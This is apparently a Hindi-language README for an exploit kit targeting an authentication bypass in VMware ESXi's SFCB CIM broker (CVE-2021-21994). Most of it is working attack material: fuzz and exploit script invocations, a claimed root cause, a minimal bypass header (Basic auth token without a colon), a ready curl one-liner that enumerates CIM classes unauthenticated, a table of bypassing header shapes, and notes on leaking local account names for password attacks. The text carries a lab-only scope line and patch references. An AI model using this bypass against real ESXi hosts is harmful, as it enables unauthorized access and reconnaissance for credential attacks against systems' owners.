
VMware ESXi SFCB प्रमाणीकरण बाईपास (CVE-2021-21994) को probe/fuzz harness के माध्यम से validate और exploit करता है, जिससे बिना प्रमाणीकरण के CIM-XML enumeration संभव हो पाती है।
| फ़ील्ड | मान |
|---|
| प्रकार | CWE-287 अनुचित प्रमाणीकरण (auth बायपास) |
| घटक | VMware ESXi के अंदर SFCB (Small Footprint CIM Broker) |
| हमला वेक्टर | नेटवर्क, TCP 5989 (HTTPS पर CIM-XML), "विशेष रूप से तैयार किया गया अनुरोध" |
| प्रभावित | VMSA-2021-0014 (जुलाई 2021) से पहले ESXi 6.5 / 6.7 / 7.0 |
| समाधान | VMSA-2021-0014 पैच बिल्ड |
| सार्वजनिक PoC | कोई नहीं। VMware ने कभी भी अनुरोध के स्वरूप का खुलासा नहीं किया |
संदर्भ: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
क्योंकि कोई PoC मौजूद नहीं है, यह किट एक खुद-खोजें हार्नेस है: sfcb_probe.py
एक ओरेकल (check) को मान्य करता है, फिर /cimom पर एक लक्षित म्यूटेशन डिक्शनरी (fuzz) भेजता है और बिना वैध क्रेडेंशियल्स के प्राप्त किसी भी 200-with-CIM-body को फ़्लैग करता है।
केवल अपने स्वयं के लैब VM या किसी अधिकृत एंगेजमेंट स्कोप के अंदर स्पष्ट रूप से शामिल लक्ष्यों के विरुद्ध उपयोग करें।
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # must LISTEN
# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
बायपास मिल गया। मूल कारण: जब Basic auth टोकन एक ऐसे user:password जोड़े में डिकोड नहीं होता जिसमें : हो, तो sfcbd OPEN में विफल हो जाता है।
न्यूनतम PoC हेडर (root का base64, बिना कोलन):
Authorization: Basic cm9vdA==
फ़ज़ रन से साक्ष्य मैट्रिक्स:
| अनुरोध आकार | स्थिति | अर्थ |
|---|---|---|
कोई हेडर नहीं / वैध user:pass b64 / : / root: | 401 | कोलन मौजूद → auth चलता है → अस्वीकृत |
b64("root") (कोई कोलन नहीं) | 200 + CIM body | कोई कोलन नहीं → auth छोड़ दिया गया |
b64("\0:\0") (खाली C-स्ट्रिंग) | 200 | समान: कोई कोलन नहीं |
अमान्य base64 (स्पेस / BOM / Basic उपसर्ग) | 200 | डिकोड विफलता → auth छोड़ दिया गया |
Basic\tTOKEN (टैब विभाजक) | 401 | कोई भी WSP विभाजन ठीक से पार्स होता है → auth चलता है |
Basic␣␣TOKEN (डबल स्पेस) | 200 | सिंगल-स्पेस विभाजन → टोकन स्पेस से शुरू होता है → डिकोड विफल हो जाता है |
एक 200 प्रतिक्रिया CIMOM के अंदर भेजा गया CIM-XML लिफाफा लेकर आती है (जैसे ERROR CODE="5" Class not found), जिससे सिद्ध होता है कि HTTP auth परत पार हो गई थी — बिना मैलफॉर्म्ड हेडर के समान अनुरोध 401 लौटाता है।
एक्सप्लॉइट उपयोग:
python3 sfcb_exploit.py verify 192.168.x.x # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
रिपोर्ट स्क्रीनशॉट के लिए curl वन-लाइनर:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
प्रभाव: CIM ब्रोकर तक बिना प्रमाणीकरण के पढ़ने की पहुँच:
VMware_Identity इंस्टेंस सभी ESXi स्थानीय खातों को लीक करते हैं (लैब 6.5 पर देखा गया: root, dcui, vpxuser — vCenter-प्रबंधित होस्ट — साथ ही कस्टम उपयोगकर्ता), जिससे लक्षित पासवर्ड हमले संभव होते हैं।VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService) DMTF प्रोफ़ाइल विधियाँ (AssignRoles, AssignAccess, ...) घोषित करती हैं लेकिन कोई इंस्टेंस उजागर नहीं करतीं — विधियाँ केवल स्कीमा-आधारित हैं। इस CVE के साथ CIM के माध्यम से खाता निर्माण/संशोधन संभव नहीं है; प्रभाव की सीमा बिना प्रमाणीकरण के सूचना प्रकटीकरण है।निर्णय:
BYPASS-STRONG — बिना वैध क्रेडेंशियल्स के HTTP 200 + CIM-XML बॉडी → आपको बायपास मिल गया; डंप किया गया अनुरोध आपका एक्सप्लॉइट प्रिमिटिव है।bypass-weak(200-no-cim-body) — 200 लेकिन कोई CIM बॉडी नहीं; डंप का निरीक्षण करें।blocked / info(400) — अस्वीकृत। ध्यान दें: 400 का आमतौर पर अर्थ है कि अनुरोध auth का मूल्यांकन होने से पहले समाप्त हो गया — फिर भी दिलचस्प है, बस बायपास नहीं।हाथ से बनाए गए CIM बॉडी पर ध्यान दें: DSP0200 के अनुसार, EnumerateInstanceNames को ClassName IPARAMVALUE की आवश्यकता होती है। इसके बिना किसी बॉडी को auth से असंबंधित कारणों से अस्वीकार किया जा सकता है और ओरेकल दूषित हो सकता है — हार्नेस हमेशा स्पेक-सही बॉडी भेजता है।
फ़ज़र क्लासिक HTTP auth-पार्सर भ्रम आकृतियों को कवर करता है। यदि कोई सफल नहीं होता, तो शेष (और निश्चित) मार्ग है बाइनरी डिफिंग:
esx-base VIB खींचें: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar आर्काइव हैं → vib पेलोड → cpio), Ghidra + BinDiff के साथ sfcbd* बाइनरीज़ का डिफ करें।sfcb) HTTP+auth कोड पथ के लिए एक उपयोगी संरचनात्मक संदर्भ है, भले ही ESXi का फोर्क संशोधित है।